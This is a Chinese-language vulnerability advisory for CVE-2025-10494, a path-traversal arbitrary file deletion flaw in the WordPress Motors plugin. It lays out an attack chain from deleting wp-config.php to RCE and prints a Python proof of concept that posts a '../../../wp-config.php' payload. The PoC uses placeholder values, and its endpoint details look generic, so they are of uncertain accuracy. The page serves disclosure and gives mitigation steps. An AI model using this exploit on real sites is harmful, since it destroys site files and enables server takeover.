IPBUF安全漏洞报告
English
CVE-2025-10494 CVSS 8.1 高危

CVE-2025-10494 WordPress Motors插件任意文件删除漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-10494
漏洞类型
任意文件删除(路径遍历)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Motors – Car Dealership & Classified Listings Plugin (WordPress)

相关标签

WordPress任意文件删除路径遍历Path TraversalMotors插件远程代码执行RCE高危漏洞CVE-2025-10494WordPress插件漏洞

漏洞概述

CVE-2025-10494是WordPress平台上一款名为Motors – Car Dealership & Classified Listings的流行汽车经销商及分类列表插件中存在的高危安全漏洞。该漏洞源于插件在处理用户删除个人资料头像(profile pictures)功能时,未对文件路径进行充分的验证和过滤,导致存在路径遍历(Path Traversal)漏洞。攻击者可以利用该漏洞删除服务器上的任意文件,包括WordPress核心配置文件wp-config.php等关键文件。

该漏洞的CVSS 3.1评分为8.1分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L,订阅者Subscriber级别及以上),无需用户交互(UI:N)。一旦成功利用,攻击者可对系统完整性(I:H)和可用性(A:H)造成严重影响。值得注意的是,删除wp-config.php等关键配置文件将导致WordPress站点进入安装向导状态,攻击者可以借此重新配置数据库连接并实现远程代码执行(RCE),从而完全控制目标服务器。

该漏洞由WordPress安全公司Wordfence的安全研究员发现并报告,披露日期为2025年10月8日。受影响版本包括所有1.4.89及以下版本,建议用户立即升级到最新修复版本以消除风险。

技术细节

该漏洞的根本原因在于Motors插件在处理用户删除头像功能时,对用户提交的文件路径参数未进行严格的验证和过滤。具体而言,当已认证用户(Subscriber级别及以上)请求删除其个人资料头像时,插件直接使用用户提供的文件路径参数调用unlink()或类似的文件删除函数,而没有对路径进行规范化处理(如检查'../'目录遍历字符)或限制文件路径范围。

攻击者可以通过以下方式利用该漏洞:

1. 首先以Subscriber或更高级别的用户身份登录WordPress站点。
2. 构造包含路径遍历序列的文件路径参数,例如通过在文件名前添加'../../../wp-config.php'等相对路径,绕过插件的文件路径检查机制。
3. 通过插件的删除头像功能接口提交恶意请求,由于缺乏路径验证,服务器将根据遍历后的路径删除任意指定文件。

当删除的文件为wp-config.php时,WordPress将失去数据库配置信息,站点将进入重新安装状态。攻击者可以访问安装向导页面,配置恶意的数据库连接参数(如连接到攻击者控制的数据库),从而实现远程代码执行。此外,删除其他关键文件(如.htaccess、index.php等)也可能导致拒绝服务或进一步的攻击利用。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H,反映了其通过网络远程利用、攻击复杂度低、仅需低权限认证即可对系统完整性和可用性造成严重影响的特性。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取一个WordPress站点的Subscriber级别订阅者账户,或利用社工、撞库等方式获得低权限认证凭据。
STEP 2
步骤2:构造路径遍历Payload
攻击者构造包含目录遍历序列(../)的恶意文件路径payload,目标指向服务器关键文件如wp-config.php或.htaccess等。
STEP 3
步骤3:调用删除头像接口
通过Motors插件提供的删除个人资料头像功能接口提交恶意请求,插件未对文件路径进行验证,直接执行文件删除操作。
STEP 4
步骤4:删除关键文件
服务器根据遍历后的路径删除任意指定文件,如wp-config.php被删除后,WordPress站点将进入重新安装状态。
STEP 5
步骤5:实现远程代码执行
访问WordPress安装向导(/wp-admin/install.php),配置指向攻击者控制数据库的连接参数或注入恶意代码,最终实现对目标服务器的全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10494 PoC - Motors Plugin Arbitrary File Deletion # Vulnerability: Insufficient file path validation in profile picture deletion # Affected: Motors Plugin <= 1.4.89 # Auth required: Subscriber level or above import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "password123" # Step 1: Login to WordPress as Subscriber session = requests.Session() # Get login page to retrieve nonce login_page = session.get(f"{TARGET_URL}/wp-login.php") # Perform login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit arbitrary file deletion via path traversal # The vulnerable endpoint processes the file path without validation target_file = "../../../wp-config.php" # Path traversal to delete wp-config.php delete_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "motors_delete_profile_picture", "image_id": target_file, # Malicious path traversal payload "nonce": "obtained_nonce_value" } response = session.post(delete_endpoint, data=exploit_data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # After deletion of wp-config.php, site enters install wizard # Attacker can then reconfigure with malicious DB to achieve RCE print("\n[*] If successful, wp-config.php has been deleted.") print("[*] Access /wp-admin/install.php to reconfigure the site.")

影响范围

Motors – Car Dealership & Classified Listings Plugin <= 1.4.89

防御指南

临时缓解措施
在等待官方修复版本发布期间,建议采取以下临时缓解措施:1)暂时禁用Motors – Car Dealership & Classified Listings插件,直到升级到修复版本;2)通过.htaccess或Web服务器配置限制对插件相关管理接口的访问;3)限制Subscriber级别用户注册或临时提升注册审核机制;4)部署WAF规则拦截包含路径遍历字符(../、..\等)的恶意请求;5)定期检查关键文件(如wp-config.php)的完整性,及时发现异常删除行为;6)确保所有WordPress站点数据有最新的完整备份,便于在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表